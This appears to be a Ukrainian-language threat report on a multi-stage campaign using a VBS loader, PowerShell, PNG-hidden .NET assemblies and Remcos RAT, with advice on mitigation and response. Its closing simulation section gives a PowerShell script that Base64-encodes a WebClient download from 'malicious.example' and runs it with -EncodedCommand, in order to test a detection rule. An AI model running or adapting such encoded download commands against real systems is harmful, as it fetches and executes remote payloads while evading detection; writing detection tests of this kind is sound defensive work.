Відстеження багатовекторної кампанії з розповсюдження зловмисного ПЗ: від VBS до відкритої інфраструктури

Резюме

Звіт охоплює модульну багатоступеневу кампанію з використанням шкідливого програмного забезпечення, яка починається з Unicode-затемненого VBS-завантажувача, переходить до безфайлового PowerShell-завантажувача та використовує PNG-файли для приховування збірки .NET, яка пізніше виконується в пам’яті. Звідти кампанія може доставляти кілька корисних навантажень, включаючи Remcos RAT, DLL для обходу UAC та інструменти на основі Python. Зловмисник розміщує весь набір інструментів у відкрито доступних каталогах під єдиним доменом .xyz і кількома субдоменами з підтримкою Cloudflare, що дозволяє швидко змінювати корисні навантаження та використовувати кілька шляхів доставки, таких як PDF-файли зі зброєю та зловмисні сценарії пакетів.

Розслідування

MDR SOC LevelBlue виявив VBS-артефакт через SentinelOne, ізолював його і декодував сценарій для аналізу. Слідчі виявили команду PowerShell, закодовану в Base64, яка завантажувала PNG-файли з вбудованими збірками .NET, які потім завантажувалися безпосередньо в пам’ять через відображення. Ширший огляд інфраструктури виявив відкриті каталоги, що обслуговують не лише додаткові VBS-завантажувачі, але й зловмисні файли пакетів, ZIP-архіви та корисні навантаження Python, пов’язані з тією ж кампанією.

Пом’якшення

Рекомендовані заходи захисту включають обмеження виконання високоризикованих типів скриптів, таких як .vbs і .bat, з шляхів, доступних для запису користувачем, застосування суворого контролю над використанням PowerShell та моніторинг підозрілих .NET-завантажень у пам’ять. Захисникам також слід блокувати домени .xyz і ретельно перевіряти або обмежувати трафік WebDAV, який зловжується через файли інтернет-закладок. На мережевому рівні, фільтрація доступу до відомої зловмисної інфраструктури може допомогти раніше порушити кампанію.

Реагування

Якщо виявлено цю активність, ізолюйте уражений кінцевий пристрій, заблокуйте всі пов’язані домени та URL-адреси та шукайте відповідні артефакти VBS та PowerShell. Слідчі повинні шукати у пам’яті відображену збірку .NET і переглянути систему на наявність запланованих завдань або файлів, створених з відкритих каталогів. Вміст для виявлення слід оновити, щоб розпізнати інсценування корисного навантаження на основі PNG і будь-які пов’язані компоненти пакетів або Python, пов’язані з кампанією.

Сценарій виконання

Передумови: передпольотна перевірка телеметрії та базових показників повинна пройти.

Рationale: Цей розділ описує точне виконання техніки противника (TTP), призначеного для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені TTP та бути спрямованими на створення точних телеметричних даних, очікуваних логікою виявлення.

• Наратив атаки та команди:

  Зловмисник отримав однострічкову команду PowerShell, яка завантажує зловмисне навантаження з віддаленого сервера HTTP і виконує його. Щоб уникнути простого виявлення файлу скрипта, команда закодована в Base64 і виконується через powershell.exe -EncodedCommand. Рядок командного рядка, таким чином, містить три рядки, які відстежує правило: powershell, Base64, та Net.WebClient.

  1. Атакуючий створює скрипт PowerShell:

     $wc = New-Object System.Net.WebClient;
     $wc.DownloadString('http://malicious.example/payload');

  2. Скрипт закодований в UTF‑16LE і в Base64.

  3. Атакуючий запускає закодовану команду з командного рядка Windows (або запланованого завдання).

• Сценарій регресійного тестування:

  # --------------------------------------------------------------
  # Сценарій PowerShell для симуляції завантаження Net.WebClient, закодованого в Base64
  # --------------------------------------------------------------
  
  # 1. Визначте зловмисну однострічкову команду PowerShell
  $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');'
  
  # 2. Закодуйте команду в UTF‑16LE, а потім Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # 3. Виконайте закодовану команду – цей рядок генерує телеметричні дані
  #    які відсліджує правило Sigma (powershell + Base64 + Net.WebClient)
  powershell.exe -EncodedCommand $b64

• Команди очищення:

  # --------------------------------------------------------------
  # Очищення – зупинка будь-яких залишкових процесів PowerShell, запущених тестом
  # --------------------------------------------------------------
  
  Get-Process -Name powershell -ErrorAction SilentlyContinue |
      Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } |
      Stop-Process -Force
  
  # Видаліть будь-які тимчасові файли (жодних не створено в цьому тесті)

Кінець звіту